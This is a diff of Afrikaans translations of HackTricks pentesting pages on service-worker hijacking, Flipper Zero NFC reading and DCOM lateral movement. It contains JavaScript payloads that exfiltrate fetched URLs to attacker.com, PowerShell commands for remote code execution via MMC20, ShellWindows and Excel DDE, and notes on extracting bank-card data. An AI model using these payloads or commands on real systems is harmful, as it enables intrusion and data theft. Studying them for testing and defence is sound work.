In die volgende voorbeeld gaan ek 'n kode voorstel om 'n nuwe dienswerker te **registreer** wat na die `fetch`-gebeurtenis sal luister en **elke opgehaalde URL na die aanvallers se bediener sal stuur** (dit is die kode wat jy nodig het om na die **bediener te laai** of te laai via 'n **kwesbare JSONP**-reaksie):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
En hierdie is die kode wat die werker sal **registreer** (die kode wat jy moet kan uitvoer deur 'n **XSS** te misbruik). In hierdie geval sal 'n **GET** versoek na die **aanvaller** se bediener gestuur word om te **meld** of die **registrasie** van die dienswerker suksesvol was of nie:
En hierdie is die kode wat die werker sal **registreer** (die kode wat jy moet kan uitvoer deur 'n **XSS** te misbruik). In hierdie geval sal 'n **GET** versoek gestuur word na die **aanvallers** bediener wat **kennis gee** as die **registrasie** van die dienswerker suksesvol was of nie:
```javascript
<script>
window.addEventListener('load', function() {
@ -67,17 +59,17 @@ xhttp2.send();
});
</script>
```
In geval van misbruik van 'n kwesbare JSONP-eindpunt, moet jy die waarde binne `var sw` plaas. Byvoorbeeld:
In geval van misbruik van 'n kwesbare JSONP-eindpunt moet jy die waarde binne `var sw` plaas. Byvoorbeeld:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Daar is 'n **C2** toegewy aan die **uitbuiting van dienswerkers** genaamd [**Shadow Workers**](https://shadow-workers.github.io) wat baie nuttig sal wees om hierdie kwesbaarhede te misbruik.
Daar is 'n **C2** toegewy aan die **uitbuiting van Dienswerkers** genaamd [**Shadow Workers**](https://shadow-workers.github.io) wat baie nuttig sal wees om hierdie kwesbaarhede te misbruik.
Die **24-uur cache riglyn** beperk die lewe van 'n skadelike of gekompromitteerde **dienswerker (SW)** tot hoogstens 24 uur na 'n XSS-kwesbaarheidsherstel, mits die kliënt aanlyn is. Om kwesbaarheid te verminder, kan webwerf-operateurs die SW-skrips se tyd-tot-lewe (TTL) verlaag. Ontwikkelaars word ook aangeraai om 'n [**dienswerker-kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) te skep vir vinnige deaktivering.
Die **24-uur cache riglyn** beperk die leeftyd van 'n skadelike of gekompromitteerde **dienswerker (SW)** tot hoogstens 24 uur na 'n XSS kwesbaarheidsherstel, mits die aanlyn klientstatus. Om die kwesbaarheid te verminder, kan webwerf-operateurs die SW-skrips se Tyd-tot-Leef (TTL) verlaag. Ontwikkelaars word ook aangeraai om 'n [**dienswerker-kill-schakelaar**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) te skep vir vinnige deaktivering.
## Misbruik van `importScripts` in 'n SW deur middel van DOM Clobbering
## Misbruik van `importScripts` in 'n SW via DOM Clobbering
Die funksie **`importScripts`** wat vanaf 'n Dienswerker geroep word, kan 'n skrips van 'n ander domein **importe**. As hierdie funksie geroep word met 'n **parameter wat 'n aanvaller kan** wysig, sal hy in staat wees om 'n JS-skrips van sy domein te **importe** en XSS te kry.
Die funksie **`importScripts`** wat vanaf 'n Dienswerker geroep word, kan 'n skrips van 'n ander domein **importeer**. As hierdie funksie geroep word met 'n **parameter wat 'n aanvaller sou kon** wysig, sou hy in staat wees om 'n JS-skrips van sy domein te **importeer** en XSS te kry.
**Dit omseil selfs CSP-beskerming.**
@ -105,7 +97,7 @@ Vir meer inligting oor wat DOM Clobbering is, kyk:
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
As die URL/domein waar die SW gebruik word om **`importScripts`** te roep **binne 'n HTML-element** is, is dit **moontlik om dit te wysig deur middel van DOM Clobbering** om die SW **'n skrips van jou eie domein te laat laai**.
As die URL/domein waar die SW gebruik om **`importScripts`** te roep **binne 'n HTML-element** is, is dit **moontlik om dit te wysig deur middel van DOM Clobbering** om die SW **'n skrip van jou eie domein te laat laai**.
Vir 'n voorbeeld hiervan, kyk na die verwysingskakel.
@ -113,21 +105,14 @@ Vir 'n voorbeeld hiervan, kyk na die verwysingskakel.
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,22 +4,14 @@
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Inleiding <a href="#9wrzi" id="9wrzi"></a>
Vir inligting oor RFID en NFC, kyk na die volgende bladsy:
@ -31,21 +23,21 @@ Vir inligting oor RFID en NFC, kyk na die volgende bladsy:
## Ondersteunde NFC-kaarte <a href="#9wrzi" id="9wrzi"></a>
{% hint style="danger" %}
Afgesien van NFC-kaarte ondersteun Flipper Zero **ander tipes hoëfrekwensie-kaarte** soos verskeie **Mifare** Classic en Ultralight en **NTAG**.
Afgesien van NFC-kaarte ondersteun Flipper Zero **ander tipe Hoëfrekwensie-kaarte** soos verskeie **Mifare** Classic en Ultralight en **NTAG**.
{% endhint %}
Nuwe tipes NFC-kaarte sal bygevoeg word tot die lys van ondersteunde kaarte. Flipper Zero ondersteun die volgende **NFC-kaarttipe A** (ISO 14443A):
Nuwe tipes NFC-kaarte sal by die lys van ondersteunde kaarte gevoeg word. Flipper Zero ondersteun die volgende **NFC-kaarttipe A** (ISO 14443A):
* **Bankkaarte (EMV)** - lees slegs UID, SAK en ATQA sonder om dit te stoor.
* **Onbekende kaarte** - lees (UID, SAK, ATQA) en boots 'n UID na.
* **Bankkaarte (EMV)** — lees slegs UID, SAK, en ATQA sonder om dit te stoor.
* **Onbekende kaarte** lees (UID, SAK, ATQA) en boots 'n UID na.
Vir **NFC-kaarttipe B, tipe F en tipe V**, kan Flipper Zero 'n UID lees sonder om dit te stoor.
Vir **NFC-kaarte tipe B, tipe F, en tipe V**, kan Flipper Zero 'n UID lees sonder om dit te stoor.
### NFC-kaarte tipe A <a href="#uvusf" id="uvusf"></a>
#### Bankkaart (EMV) <a href="#kzmrp" id="kzmrp"></a>
Flipper Zero kan slegs 'n UID, SAK, ATQA en gestoorde data op bankkaarte lees **sonder om dit te stoor**.
Flipper Zero kan slegs 'n UID, SAK, ATQA, en gestoorde data op bankkaarte lees **sonder om dit te stoor**.
BankkaartleesskermVir bankkaarte kan Flipper Zero slegs data lees **sonder om dit te stoor en na te boots**.
@ -53,15 +45,15 @@ BankkaartleesskermVir bankkaarte kan Flipper Zero slegs data lees **sonder om di
#### Onbekende kaarte <a href="#37eo8" id="37eo8"></a>
Wanneer Flipper Zero **nie in staat is om die tipe NFC-kaart te bepaal nie**, kan slegs 'n **UID, SAK en ATQA** gelees en gestoor word.
Wanneer Flipper Zero **nie in staat is om die tipe NFC-kaart te bepaal nie**, kan slegs 'n **UID, SAK, en ATQA** gelees en gestoor word.
Onbekende kaartleesskermVir onbekende NFC-kaarte kan Flipper Zero slegs 'n UID boots.
Onbekende kaartleesskermVir onbekende NFC-kaarte kan Flipper Zero slegs 'n UID na boots.
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=932&#x26;w=2634" alt=""><figcaption></figcaption></figure>
### NFC-kaarte tipe B, F en V <a href="#wyg51" id="wyg51"></a>
### NFC-kaarte tipes B, F, en V <a href="#wyg51" id="wyg51"></a>
Vir **NFC-kaarte tipe B, F en V**, kan Flipper Zero slegs 'n UID lees en vertoon sonder om dit te stoor.
Vir **NFC-kaarte tipes B, F, en V**, kan Flipper Zero slegs 'n UID **lees en vertoon** sonder om dit te stoor.
<figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=1080&#x26;w=2704" alt=""><figcaption></figcaption></figure>
@ -71,44 +63,37 @@ Vir 'n inleiding oor NFC [**lees hierdie bladsy**](../../../radio-hacking/pentes
### Lees
Flipper Zero kan **NFC-kaarte lees**, maar dit **verstaan nie al die protokolle** wat gebaseer is op ISO 14443 nie. Tog, aangesien **UID 'n lae-vlak eienskap is**, kan jy jouself in 'n situasie bevind waar **UID reeds gelees is, maar die hoë-vlak data-oordragprotokol steeds onbekend is**. Jy kan UID lees, boots en handmatig invoer met behulp van Flipper vir die primitiewe lesers wat UID gebruik vir outorisasie.
Flipper Zero kan **NFC-kaarte lees**, maar dit **verstaan nie al die protokolle** wat gebaseer is op ISO 14443 nie. Tog, aangesien **UID 'n lae-vlak eienskap is**, kan jy jouself in 'n situasie bevind waar die **UID reeds gelees is, maar die hoë-vlak data-oordragprotokol steeds onbekend is**. Jy kan UID lees, na boots en UID handmatig invoer met Flipper vir die primitiewe lesers wat UID vir magtiging gebruik.
#### Die UID lees vs. Die data binne lees <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
#### Die UID lees VS Die Data Binne lees <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
In Flipper kan die lees van 13.56 MHz-etikette verdeel word in twee dele:
In Flipper kan die lees van 13.56 MHz-etikette in twee dele verdeel word:
* **Laevlaklees** - lees slegs die UID, SAK en ATQA. Flipper probeer die hoëvlakprotokol raai op grond van hierdie data wat van die kaart gelees is. Jy kan nie 100% seker wees hiervan nie, aangesien dit net 'n aanname is gebaseer op sekere faktore.
* **Hoëvlaklees** - lees die data uit die kaart se geheue deur 'n spesifieke hoëvlakprotokol te gebruik. Dit sou wees om die data op 'n Mifare Ultralight te lees, die sektore van 'n Mifare Classic te lees, of die eienskappe van die kaart van PayPass/Apple Pay te lees.
* **Laevlak lees** — lees slegs die UID, SAK, en ATQA. Flipper probeer die hoë-vlak protokol raai gebaseer op hierdie data wat van die kaart gelees is. Jy kan nie 100% seker wees hiermee nie, aangesien dit net 'n aanname is gebaseer op sekere faktore.
* **Hoëvlak lees** — lees die data van die kaart se geheue deur 'n spesifieke hoë-vlak protokol te gebruik. Dit sou wees om die data op 'n Mifare Ultralight te lees, die sektore van 'n Mifare Classic te lees, of die kaart se eienskappe van PayPass/Apple Pay te lees.
### Spesifieke lees
### Spesifiek Lees
In die geval Flipper Zero nie in staat is om die tipe kaart vanuit die lae vlak data te vind nie, kan jy in `Ekstra Aksies` kies vir `Spesifieke Kaarttipe Lees` en **handmatig die tipe kaart aandui wat jy wil lees**.
In die geval dat Flipper Zero nie in staat is om die tipe kaart vanuit die laevlakdata te vind nie, kan jy in `Ekstra Aksies` kies vir `Spesifieke Kaarttipe Lees` en **handmatig** **aandui watter tipe kaart jy wil lees**.
#### EMV Bankkaarte (PayPass, payWave, Apple Pay, Google Pay) <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
Afgesien van bloot die UID te lees, kan jy baie meer data uit 'n bankkaart onttrek. Dit is moontlik om die **volledige kaartnommer** (die 16 syfers aan die voorkant van die kaart), **geldigheidsdatum**, en in sommige gevalle selfs die **eienaar se naam** saam met 'n lys van die **mees onlangse transaksies** te kry.\
Tog **kan jy nie die CVV op hierdie manier lees** (die 3 syfers aan die agterkant van die kaart nie). Bankkaarte is ook beskerm teen herhaalaanvalle, so dit sal nie werk om dit met Flipper te kopieer en dan te probeer emuleer om vir iets te betaal nie.
Tog **kan jy nie die CVV op hierdie manier lees nie** (die 3 syfers aan die agterkant van die kaart). Bankkaarte is ook **beskerm teen herhaalaanvalle**, so om dit met Flipper te kopieer en dan te probeer na boots om vir iets te betaal, sal nie werk nie.
## Verwysings
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,36 +1,29 @@
# DCOM Uitvoering
# DCOM Uitvoer
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)..
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud)..
</details>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## MMC20.Application
**Vir meer inligting oor hierdie tegniek, kyk na die oorspronklike pos vanaf [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Verspreide Komponentobjekmodel (DCOM) objekte bied 'n interessante vermoë vir netwerkgebaseerde interaksies met objekte. Microsoft bied omvattende dokumentasie vir beide DCOM en Komponentobjekmodel (COM), toeganklik [hier vir DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) en [hier vir COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). 'n Lys van DCOM-toepassings kan verkry word deur die PowerShell-opdrag te gebruik:
Verspreide Komponentobjekmodel (DCOM) objekte bied 'n interessante vermoë vir netwerkgebaseerde interaksies met objekte. Microsoft bied omvattende dokumentasie vir beide DCOM en Komponentobjekmodel (COM), toeganklik [hier vir DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) en [hier vir COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). 'n Lys van DCOM-toepassings kan verkry word deur die PowerShell-opdrag:
```bash
Get-CimInstance Win32_DCOMApplication
```
Die COM-object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), maak dit moontlik om MMC snap-in operasies te skryf. Merkwaardig, hierdie object bevat 'n `ExecuteShellCommand` metode onder `Document.ActiveView`. Meer inligting oor hierdie metode kan [hier](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) gevind word. Voer dit uit deur die volgende te hardloop:
Die COM-object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), maak skryf van MMC snap-in operasies moontlik. Merkwaardig genoeg bevat hierdie objek 'n `ExecuteShellCommand` metode onder `Document.ActiveView`. Meer inligting oor hierdie metode kan [hier](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) gevind word. Kontroleer dit deur dit uit te voer:
Hierdie funksie maak dit moontlik om opdragte oor 'n netwerk uit te voer deur middel van 'n DCOM-toepassing. Om as 'n admin met DCOM op afstand te kommunikeer, kan PowerShell as volg gebruik word:
Hierdie kenmerk fasiliteer die uitvoer van bevele oor 'n netwerk deur 'n DCOM-toepassing. Om vanaf 'n afstand met DCOM te kan interageer as 'n admin, kan PowerShell as volg gebruik word:
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
@ -41,7 +34,7 @@ Kyk na metodes:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
Kry RCE (Remote Code Execution):
Kry RCE:
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
@ -54,12 +47,12 @@ ls \\10.10.10.10\c$\Users
**Vir meer inligting oor hierdie tegniek, kyk na die oorspronklike pos [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
Die **MMC20.Application**-voorwerp is geïdentifiseer as 'n voorwerp wat eksplisiete "LaunchPermissions" ontbreek en standaard toestemmings toelaat vir Administrateurs. Vir verdere besonderhede kan 'n draad ondersoek word [hier](https://twitter.com/tiraniddo/status/817532039771525120), en die gebruik van [@tiraniddo](https://twitter.com/tiraniddo) se OleView .NET vir die filter van voorwerpe sonder eksplisiete Launch Permission word aanbeveel.
Die **MMC20.Application**-voorwerp is geïdentifiseer as 'n gebrek aan uitdruklike "LaunchPermissions," wat standaard na toestemmings wat Administrateurs toegang verleen, oorskakel. Vir verdere besonderhede kan 'n draad ondersoek word [hier](https://twitter.com/tiraniddo/status/817532039771525120), en die gebruik van [@tiraniddo](https://twitter.com/tiraniddo) se OleView .NET vir die filter van voorwerpe sonder uitdruklike Launch Permission word aanbeveel.
Twee spesifieke voorwerpe, `ShellBrowserWindow` en `ShellWindows`, is uitgelig as gevolg van hul gebrek aan eksplisiete Launch Permissions. Die afwesigheid van 'n `LaunchPermission`-registerinskrywing onder `HKCR:\AppID\{guid}` dui op geen eksplisiete toestemmings nie.
Twee spesifieke voorwerpe, `ShellBrowserWindow` en `ShellWindows`, is uitgelig weens hul gebrek aan uitdruklike Launch Permissions. Die afwesigheid van 'n `LaunchPermission`-registerinskrywing onder `HKCR:\AppID\{guid}` dui op geen uitdruklike toestemmings nie.
### ShellWindows
Vir `ShellWindows`, wat 'n ProgID ontbreek, fasiliteer die .NET-metodes `Type.GetTypeFromCLSID` en `Activator.CreateInstance` die instansiasie van die voorwerp deur gebruik te maak van sy AppID. Hierdie proses maak gebruik van OleView .NET om die CLSID vir `ShellWindows` te bekom. Sodra dit geïnstantieer is, is interaksie moontlik deur die `WindowsShell.Item`-metode, wat lei tot metode-aanroeping soos `Document.Application.ShellExecute`.
Vir `ShellWindows`, wat 'n ProgID ontbreek, fasiliteer die .NET-metodes `Type.GetTypeFromCLSID` en `Activator.CreateInstance` voorwerpinstansiasie deur sy AppID te gebruik. Hierdie proses maak gebruik van OleView .NET om die CLSID vir `ShellWindows` te herwin. Eenmaal geïnstantieer, is interaksie moontlik deur die `WindowsShell.Item`-metode, wat tot metode-aanroeping soos `Document.Application.ShellExecute` lei.
Voorbeeld PowerShell-opdragte is verskaf om die voorwerp te instansieer en op afstand opdragte uit te voer:
```powershell
@ -70,9 +63,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
```
### Laterale Beweging met Excel DCOM-voorwerpe
Laterale beweging kan bereik word deur DCOM Excel-voorwerpe uit te buit. Vir gedetailleerde inligting is dit raadsaam om die bespreking oor die benutting van Excel DDE vir laterale beweging via DCOM te lees by [Cybereason se blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Laterale beweging kan bereik word deur DCOM Excel-voorwerpe te benut. Vir gedetailleerde inligting, is dit raadsaam om die bespreking oor die benutting van Excel DDE vir laterale beweging via DCOM te lees by [Cybereason se blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Die Empire-projek bied 'n PowerShell-skripsie wat die gebruik van Excel demonstreer vir afstandsbeheeruitvoering (RCE) deur DCOM-voorwerpe te manipuleer. Hieronder is uittreksels uit die skripsie wat beskikbaar is op [Empire se GitHub-opberging](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), wat verskillende metodes toon om Excel te misbruik vir RCE:
Die Empire-projek bied 'n PowerShell-skripsie wat die gebruik van Excel vir afgeleë kode-uitvoering (RCE) demonstreer deur DCOM-voorwerpe te manipuleer. Hieronder is uittreksels uit die skripsie beskikbaar op [Empire se GitHub-opberging](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), wat verskillende metodes toon om Excel vir RCE te misbruik:
```powershell
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
@ -95,19 +88,19 @@ $Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
```
### Outomatiese Hulpmiddels vir Laterale Beweging
### Outomatiese Gereedskap vir Laterale Beweging
Daar word twee hulpmiddels uitgelig vir die outomatiseering van hierdie tegnieke:
Twee gereedskappe word uitgelig vir die outomatiseering van hierdie tegnieke:
- **Invoke-DCOM.ps1**: 'n PowerShell-skrips wat deur die Empire-projek voorsien word en die aanroeping van verskillende metodes vir die uitvoering van kode op afgeleë masjiene vereenvoudig. Hierdie skrips is beskikbaar by die Empire GitHub-opberging.
- **Invoke-DCOM.ps1**: 'n PowerShell-skrip wat deur die Empire-projek voorsien word en wat die aanroeping van verskillende metodes vir die uitvoering van kode op afgeleë rekenaars vereenvoudig. Hierdie skrip is toeganklik by die Empire GitHub-opgaarplek.
